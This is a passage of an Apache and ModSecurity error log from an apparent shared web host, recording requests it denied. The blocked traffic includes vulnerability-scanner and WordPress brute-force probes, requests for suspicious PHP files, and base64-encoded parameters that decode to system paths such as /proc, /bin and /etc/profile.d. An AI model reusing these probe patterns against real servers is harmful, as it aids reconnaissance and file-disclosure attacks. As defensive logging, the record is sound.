REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/mjq.php"] [unique_id "ai3w6cTA7b1mZrmcA-8O7QAAAnU"] [Sat Jun 13 18:08:09.707587 2026] [access_compat:error] [pid 531797:tid 531930] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMwOTg4L25ldA== [Sat Jun 13 18:08:09.707932 2026] [access_compat:error] [pid 531797:tid 531930] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMwOTg4L25ldA== [Sat Jun 13 18:08:09.925246 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.45:23648] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:09.925715 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.45:23648] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:09.948107 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:09.948414 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:10.103540 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQz [Sat Jun 13 18:08:10.104006 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQz [Sat Jun 13 18:08:10.104845 2026] [access_compat:error] [pid 531797:tid 531909] [remote 57.141.14.111:48678] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:10.105121 2026] [access_compat:error] [pid 531797:tid 531909] [remote 57.141.14.111:48678] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:10.173568 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNg== [Sat Jun 13 18:08:10.173845 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNg== [Sat Jun 13 18:08:10.219952 2026] [access_compat:error] [pid 531797:tid 531982] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:10.220258 2026] [access_compat:error] [pid 531797:tid 531982] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:10.268611 2026] [security2:error] [pid 531797:tid 531975] [remote 17.22.245.107:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w6sTA7b1mZrmcA-8PBAACcm4"] [Sat Jun 13 18:08:10.317061 2026] [security2:error] [pid 531797:tid 531902] [remote 17.22.245.9:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w6sTA7b1mZrmcA-8PBgACZyY"] [Sat Jun 13 18:08:10.449110 2026] [access_compat:error] [pid 531155:tid 531204] [remote 57.141.14.83:42266] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:10.449597 2026] [access_compat:error] [pid 531155:tid 531204] [remote 57.141.14.83:42266] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:10.460661 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:10.460941 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:10.630087 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:08:10.630541 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:08:10.633644 2026] [security2:error] [pid 531797:tid 532089] [client 172.56.168.133:55468] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3w6sTA7b1mZrmcA-8PFAAAAm4"] [Sat Jun 13 18:08:10.633782 2026] [security2:error] [pid 531797:tid 532089] [client 172.56.168.133:55468] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3w6sTA7b1mZrmcA-8PFAAAAm4"] [Sat Jun 13 18:08:10.649370 2026] [security2:error] [pid 531155:tid 531223] [remote 17.241.219.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w6imiP80klyS0NnrpHgABekM"] [Sat Jun 13 18:08:10.653555 2026] [security2:error] [pid 531155:tid 531294] [client 20.151.217.54:65254] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/cxl.php"] [unique_id "ai3w6imiP80klyS0NnrpIAAAARM"] [Sat Jun 13 18:08:10.673359 2026] [access_compat:error] [pid 531797:tid 531935] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yy9wcm9maWxlLmQ= [Sat Jun 13 18:08:10.673798 2026] [access_compat:error] [pid 531797:tid 531935] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yy9wcm9maWxlLmQ= [Sat Jun 13 18:08:10.703480 2026] [access_compat:error] [pid 531797:tid 531946] [remote 57.141.14.47:60840] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:10.703827 2026] [access_compat:error] [pid 531797:tid 531946] [remote 57.141.14.47:60840] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:10.821567 2026] [security2:error] [pid 531155:tid 531349] [client 216.73.216.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/date_variation2.phpt"] [unique_id "ai3w6imiP80klyS0NnrpIgAAAUo"] [Sat Jun 13 18:08:10.874955 2026] [security2:error] [pid 531797:tid 532025] [client 20.9.67.71:64734] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/twinklingly.php"] [unique_id "ai3w6sTA7b1mZrmcA-8PIQAAAjE"] [Sat Jun 13 18:08:10.991523 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.18:41620] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:10.991812 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.18:41620] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:11.019773 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:11.020216 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:11.071138 2026] [access_compat:error] [pid 531797:tid 531955] [remote 57.141.14.94:33146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:11.071420 2026] [access_compat:error] [pid 531797:tid 531955] [remote 57.141.14.94:33146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:11.104149 2026] [access_compat:error] [pid 531797:tid 531874] [remote 57.141.14.110:54738] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:11.104429 2026] [access_compat:error] [pid 531797:tid 531874] [remote 57.141.14.110:54738] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:11.187058 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:08:11.187351 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:08:11.222598 2026] [access_compat:error] [pid 531797:tid 531906] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL3Jma2lsbA== [Sat Jun 13 18:08:11.222893 2026] [access_compat:error] [pid 531797:tid 531906] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL3Jma2lsbA== [Sat Jun 13 18:08:11.281471 2026] [security2:error] [pid 531797:tid 532095] [client 191.233.234.186:44251] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/twinklingly.php"] [unique_id "ai3w68TA7b1mZrmcA-8PMwAAAnQ"] [Sat Jun 13 18:08:11.477297 2026] [security2:error] [pid 531155:tid 531270] [remote 203.172.89.21:54750] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.89.172.203.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "pys.tlq.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3w6ymiP80klyS0NnrpKwABfXI"] [Sat Jun 13 18:08:11.477568 2026] [security2:error] [pid 531155:tid 531400] [client 203.172.89.21:54750] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "pys.tlq.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3w6ymiP80klyS0NnrpKwABfXI"] [Sat Jun 13 18:08:11.510164 2026] [security2:error] [pid 531797:tid 531989] [remote 17.22.245.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w68TA7b1mZrmcA-8PQAACZ3w"] [Sat Jun 13 18:08:11.523570 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:11.523868 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:11.702152 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:11.702616 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:11.742796 2026] [access_compat:error] [pid 531797:tid 531950] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL21vZHVsZQ== [Sat Jun 13 18:08:11.743219 2026] [access_compat:error] [pid 531797:tid 531950] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL21vZHVsZQ== [Sat Jun 13 18:08:11.748778 2026] [security2:error] [pid 531797:tid 532083] [client 191.234.188.123:63887] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/btx25.php"] [unique_id "ai3w68TA7b1mZrmcA-8PTwAAAmk"] [Sat Jun 13 18:08:11.760228 2026] [security2:error] [pid 531797:tid 532039] [client 191.233.234.186:44270] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/cxl.php"] [unique_id "ai3w68TA7b1mZrmcA-8PUAAAAj4"] [Sat Jun 13 18:08:11.880633 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.104:40178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:11.881044 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.104:40178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:12.023637 2026] [security2:error] [pid 531797:tid 531882] [remote 45.236.128.46:46016] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 46.128.236.45.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-login.php"] [unique_id "ai3w7MTA7b1mZrmcA-8PWwACVRI"] [Sat Jun 13 18:08:12.077230 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:12.077527 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:12.191541 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:08:12.191875 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:08:12.192007 2026] [security2:error] [pid 531797:tid 531954] [remote 17.246.23.48:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w7MTA7b1mZrmcA-8PYwACJFo"] [Sat Jun 13 18:08:12.198005 2026] [security2:error] [pid 